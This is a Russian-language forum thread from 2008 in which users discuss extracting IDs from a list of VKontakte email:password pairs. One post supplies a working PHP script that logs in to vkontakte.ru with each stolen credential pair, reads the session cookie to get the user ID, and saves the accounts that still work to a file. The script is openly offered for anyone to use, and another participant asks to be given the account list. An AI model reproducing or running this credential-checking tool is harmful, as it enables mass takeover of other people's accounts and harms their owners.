Просмотр полной версии : Акки Вконтакте(данные)
Don Anton+
31.05.2008, 16:11
Имеется список аккаунтов Вконтакте:
вид mail:рass
Нужно вытащить из них id...Тоесть узнать id каждого аккаунта не в ручную!
прогнать через логин прогой/скриптом
mouse.pro
31.05.2008, 16:28
На php можно написать такой скриптик
есть многопоточный на перле. если интересно, пм
Как все это сделаешь, подари мне этот список
Используй
AccsManager Vkontakte 1.0
Менеджер аккаунтов Вконтакте.ру 1.0
http://forum.antichat.ru/thread68289.html
Don Anton+
31.05.2008, 20:16
жду в асе
EST a1ien
03.06.2008, 14:28
<?php
#&-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|
#&-------------------------------
#& ВКонтакте АККчекер 0.1
#& VKontakte ACCchecker 0.1
#& By NNNS::[icq: 474374]
#& All lefts reserved.
#&-------------------------------
#&-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|
# Отключаем ограничение на время выполнения скрипта
set_time_limit(0);
# User Agent
#$user_agent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.12";
# Файл с аккаунтами
$acclist = "vkontakte.pass.txt";
# Файл с валидными аккаунтами
$vallist = "valid-id.txt";
# Помещаем аккаунты в массив
$account = file($acclist);
# Рабочие аккаунты
$valid = 0;
# Нерабочие аккаунты
$invalid = 0;
$uid=0;
function vkCheck($email,$pass) {
global $uid;
# Открываем сокет
$fp=fsockopen("vkontakte.ru",80,$errno,$errstr,10);
# Отправляем заголовки
$out = "GET /login.php?email=".$email."&pass=".$pass." HTTP/1.0\r\n";
$out .= "Host: vkontakte.ru\r\n";
$out .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.12\r\n";
$out .= "Cookie: income=1\r\n";
$out .= "Content-Type:text/xml; charset=windows-1251\r\n\r\n";
fwrite($fp,$out);
$ans='';
while(!feof($fp))
{
$ans.=fgets($fp,128);
}
fclose($fp);
if(preg_match("/\b302 Found\b/is", $ans)) {
# вытаскиваем кукисы из ответа сервера
preg_match("/revalidate(.*?)Location/is", $ans, $cookies);
$cookies = str_replace("Set-Cookie: ", "",$cookies[1]);
preg_match("/remixmid=(.*?);/is", $cookies, $cook2);
$uid=$cook2[1];
return true;
} else {
return false;
}
}
# Запускаем цикл
$fd = fopen($vallist,"w");
for($i=0;$i<count($account);$i++) {
# Удаляем симолы перевода строки
$caccaunt = str_replace("\r\n","",$account[$i]);
# Разбиваем на e-mail и пароль
$array_ack = explode(":",$caccaunt);
# Вызываем функцию проверки аккаунта
$answer = vkCheck($array_ack[2],$array_ack[3]);
# Если аккаунт рабочий, записываем его в файл
if ($answer == true) {
fputs($fd,$uid.":".$array_ack[2].":".$array_ack[3].":\n");
$valid++;
} else {
$invalid++;
}
sleep(1);
}
fclose($fd);
# Выводим результат
echo "Рабочих аккаунтов: ".$valid."<br>Нерабочих аккаутов: ".$invalid;
?>
Немного переделанный скрипт от NNNS кому надо пользуйтесь.
http://forum.xeka.ru/f11/t2992/new/
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot